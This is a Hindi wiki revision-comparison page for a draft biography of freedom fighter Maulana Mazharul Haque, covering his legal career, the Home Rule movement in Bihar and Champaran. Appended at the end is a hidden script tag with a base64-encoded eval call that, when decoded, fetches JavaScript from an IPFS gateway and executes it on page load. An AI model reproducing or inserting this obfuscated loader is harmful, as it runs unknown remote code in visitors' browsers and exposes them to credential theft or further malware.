"प्रयोग:माधवी": अवतरणों में अंतर
No edit summary |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा स्वतन्त्रता सेनानी | {{सूचना बक्सा स्वतन्त्रता सेनानी | ||
|चित्र=Blankimage.png | |चित्र=Blankimage.png | ||
|चित्र का नाम= | |चित्र का नाम=मज़हरूल हक़ | ||
|पूरा नाम= | |पूरा नाम=मज़हरूल हक़ | ||
|अन्य नाम= | |अन्य नाम= | ||
|जन्म=[[22 दिसम्बर]], [[1866]] | |जन्म=[[22 दिसम्बर]], [[1866]] | ||
|जन्म भूमि=[[पटना | |जन्म भूमि=[[पटना]], [[बिहार]] | ||
|मृत्यु=[[2 जनवरी]], [[1930]] | |मृत्यु=[[2 जनवरी]], [[1930]] | ||
|मृत्यु स्थान=[[पटना | |मृत्यु स्थान=[[पटना]], [[बिहार]] | ||
|मृत्यु कारण= | |मृत्यु कारण= | ||
|अभिभावक= | |अभिभावक= | ||
पंक्ति 17: | पंक्ति 17: | ||
|प्रसिद्धि= | |प्रसिद्धि= | ||
|धर्म= | |धर्म= | ||
|आंदोलन=[[असहयोग आन्दोलन]], [[ख़िलाफ़त आन्दोलन]], [[चम्पारण सत्याग्रह]] | |आंदोलन=[[असहयोग आन्दोलन]], [[ख़िलाफ़त आन्दोलन]], [[चम्पारण सत्याग्रह]], [[होमरूल लीग आन्दोलन]] | ||
|जेल यात्रा= | |जेल यात्रा= | ||
|कार्य काल= | |कार्य काल= | ||
पंक्ति 29: | पंक्ति 29: | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
|अन्य जानकारी= | |अन्य जानकारी=मज़हरूल हक़ ने [[1917]] के [[महात्मा गांधी]] के [[चम्पारण सत्याग्रह]] में भाग लिया। हक़ ने [[असहयोग आन्दोलन]] एवं [[ख़िलाफ़त आन्दोलन]] में सक्रिय भूमिका निभायी। | ||
|बाहरी कड़ियाँ= | |बाहरी कड़ियाँ= | ||
|अद्यतन=04:31, 06 अप्रैल-2017 (IST) | |अद्यतन=04:31, 06 अप्रैल-2017 (IST) | ||
}} | }} | ||
''' | '''मौलाना मज़हरूल हक़''' ([[अंग्रेज़ी]]: ''Maulana Mazharul Haque'', जन्म- [[22 दिसम्बर]], [[1866]], [[पटना]], [[बिहार]]; मृत्यु- [[2 जनवरी]], [[1930]]) [[भारत]] के सुप्रसिद्ध राष्ट्रभक्त एवं क्रांतिकारी थे। बिहार में सन [[1916]] के होमरूल आन्दोलन के वे मुख्य आयोजक थे। <ref>{{cite web |url=http://www.kranti1857.org/bihar%20%20krantikari.php#majrul%20hakk|title=मज़हरूल हक़ कविशेर|accessmonthday=6 अप्रैल|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref> | ||
==परिचय== | ==परिचय== | ||
मज़हरूल हक़ बिहार में पटना जिले के बहपुरा नामक स्थान पर 22 दिसम्बर, 1866 में पैदा हुए थे। वे एक समुद्ध जमींदार [[परिवार]] से थे। उन्होंने 1886 में पटना काजिस्टे स्कूल से दसवीं की परीक्षा की और सन [[1887]] में उन्हें कानून की पढ़ाई के लिए [[इंग्लैण्ड]] भेज दिया गया। मज़हरूल हक़ को [[1891]] में वकालत के लिए बुला लिया गया। कानून में डिग्री प्राप्त करने के उपरान्त वे [[भारत]] वापिस लौट आए। मज़हरूल हक़ ने न्यायिक अधिकारी के रूप में कुछ [[वर्ष|वर्षों]] तक नौकरी की तथा चम्पारण से अपनी वकालत शुरू कर दी। | |||
==सार्वजनिक जीवन की शुरूआत== | ==सार्वजनिक जीवन की शुरूआत== | ||
हक़ ने बीसवीं शताब्दी के प्रथम दशक में अपने सार्वजनिक जीवन की शुरूआत की। पृथक प्रान्त के रूप में उन्होंने बिहार संविधान की वकालत की हक़ पृथक निर्वाचन के विरोधी थे। [[बिहार]] में सन [[1916]] के [[होमरूल लीग आन्दोलन|होमरूल आन्दोलन]] के वे मुख्य आयोजक थे। | |||
==आंदोलनों | ==आंदोलनों में योगदान== | ||
मज़हरूल हक़ ने [[1917]] के [[महात्मा गांधी]] के [[चम्पारण सत्याग्रह]] में भाग लिया। हक़ ने [[असहयोग आन्दोलन]] एवं [[ख़िलाफ़त आन्दोलन]] में सक्रिय भूमिका निभायी और इतना ही नहीं वे [[सुल्तान]] से तुर्की मिलने गये। वे साम्प्रदायिक समन्वय के तीव्र हिमायती थे। हक़ ने दिघा में सदाक्त आश्रम की नींव रखी जिसका [[बिहार]] में [[कांग्रेस]] के मुख्यालय के रूप में प्रयोग किया गया। उन्होंने मदरलैण्ड की नींव रखी जिसमें स्वतंत्रता आन्दोलन की चार विचारधाराओं को स्थापित किया गया। | |||
==मृत्यु== | ==मृत्यु== | ||
मज़हरूल हक़ ने अपने जीवन के अन्तिम [[दिन|दिनों]] में सक्रिय राजनीति से संन्यास ले लिया तथा [[2 जनवरी]], [[1930]] को उनका देहान्त हो गया। | |||
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} |
11:34, 8 अप्रैल 2017 का अवतरण
माधवी
| |
पूरा नाम | मज़हरूल हक़ |
जन्म | 22 दिसम्बर, 1866 |
जन्म भूमि | पटना, बिहार |
मृत्यु | 2 जनवरी, 1930 |
मृत्यु स्थान | पटना, बिहार |
नागरिकता | भारतीय |
आंदोलन | असहयोग आन्दोलन, ख़िलाफ़त आन्दोलन, चम्पारण सत्याग्रह, होमरूल लीग आन्दोलन |
संबंधित लेख | महात्मा गांधी |
अन्य जानकारी | मज़हरूल हक़ ने 1917 के महात्मा गांधी के चम्पारण सत्याग्रह में भाग लिया। हक़ ने असहयोग आन्दोलन एवं ख़िलाफ़त आन्दोलन में सक्रिय भूमिका निभायी। |
अद्यतन | 04:31, 06 अप्रैल-2017 (IST) |
मौलाना मज़हरूल हक़ (अंग्रेज़ी: Maulana Mazharul Haque, जन्म- 22 दिसम्बर, 1866, पटना, बिहार; मृत्यु- 2 जनवरी, 1930) भारत के सुप्रसिद्ध राष्ट्रभक्त एवं क्रांतिकारी थे। बिहार में सन 1916 के होमरूल आन्दोलन के वे मुख्य आयोजक थे। [1]
परिचय
मज़हरूल हक़ बिहार में पटना जिले के बहपुरा नामक स्थान पर 22 दिसम्बर, 1866 में पैदा हुए थे। वे एक समुद्ध जमींदार परिवार से थे। उन्होंने 1886 में पटना काजिस्टे स्कूल से दसवीं की परीक्षा की और सन 1887 में उन्हें कानून की पढ़ाई के लिए इंग्लैण्ड भेज दिया गया। मज़हरूल हक़ को 1891 में वकालत के लिए बुला लिया गया। कानून में डिग्री प्राप्त करने के उपरान्त वे भारत वापिस लौट आए। मज़हरूल हक़ ने न्यायिक अधिकारी के रूप में कुछ वर्षों तक नौकरी की तथा चम्पारण से अपनी वकालत शुरू कर दी।
सार्वजनिक जीवन की शुरूआत
हक़ ने बीसवीं शताब्दी के प्रथम दशक में अपने सार्वजनिक जीवन की शुरूआत की। पृथक प्रान्त के रूप में उन्होंने बिहार संविधान की वकालत की हक़ पृथक निर्वाचन के विरोधी थे। बिहार में सन 1916 के होमरूल आन्दोलन के वे मुख्य आयोजक थे।
आंदोलनों में योगदान
मज़हरूल हक़ ने 1917 के महात्मा गांधी के चम्पारण सत्याग्रह में भाग लिया। हक़ ने असहयोग आन्दोलन एवं ख़िलाफ़त आन्दोलन में सक्रिय भूमिका निभायी और इतना ही नहीं वे सुल्तान से तुर्की मिलने गये। वे साम्प्रदायिक समन्वय के तीव्र हिमायती थे। हक़ ने दिघा में सदाक्त आश्रम की नींव रखी जिसका बिहार में कांग्रेस के मुख्यालय के रूप में प्रयोग किया गया। उन्होंने मदरलैण्ड की नींव रखी जिसमें स्वतंत्रता आन्दोलन की चार विचारधाराओं को स्थापित किया गया।
मृत्यु
मज़हरूल हक़ ने अपने जीवन के अन्तिम दिनों में सक्रिय राजनीति से संन्यास ले लिया तथा 2 जनवरी, 1930 को उनका देहान्त हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ मज़हरूल हक़ कविशेर (हिंदी) क्रांति 1857। अभिगमन तिथि: 6 अप्रैल, 2017।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>